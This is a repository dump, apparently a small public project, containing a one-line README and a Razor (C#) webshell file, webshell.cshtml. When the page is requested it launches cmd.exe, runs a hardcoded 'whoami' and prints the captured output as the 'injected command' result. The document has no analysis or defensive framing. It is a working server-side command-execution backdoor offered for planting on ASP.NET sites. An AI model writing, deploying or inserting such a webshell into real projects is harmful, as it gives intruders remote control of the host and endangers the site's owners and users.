├── README.md
└── webshell.cshtml
/README.md:
--------------------------------------------------------------------------------
1 | # RazorSyntaxWebshell
2 | Webshell for Razor Syntax (C#)
3 |
--------------------------------------------------------------------------------
/webshell.cshtml:
--------------------------------------------------------------------------------
1 | @using System.CodeDom.Compiler;
2 | @using System.Diagnostics;
3 | @using System.Reflection;
4 | @using System.Web.Compilation;
5 |
6 | @functions {
7 |
8 | string ExecuteCommand(string command, string arguments = null)
9 | {
10 | var output = new System.Text.StringBuilder();
11 | var process = new Process();
12 | var startInfo = new ProcessStartInfo
13 | {
14 | FileName = command,
15 | Arguments = arguments,
16 | WorkingDirectory = HttpRuntime.AppDomainAppPath,
17 | RedirectStandardOutput = true,
18 | RedirectStandardError = true,
19 | UseShellExecute = false
20 | };
21 |
22 | process.StartInfo = startInfo;
23 | process.OutputDataReceived += (sender, args) => output.AppendLine(args.Data);
24 | process.ErrorDataReceived += (sender, args) => output.AppendLine(args.Data);
25 |
26 | process.Start();
27 | process.BeginOutputReadLine();
28 | process.BeginErrorReadLine();
29 | process.WaitForExit();
30 |
31 | return output.ToString();
32 | }
33 | }
34 |
35 | @{
36 | var cmd = ExecuteCommand("cmd.exe", "/c whoami");
37 | }
38 |
39 | Output of the injected command (by Niemand):
40 | @cmd
--------------------------------------------------------------------------------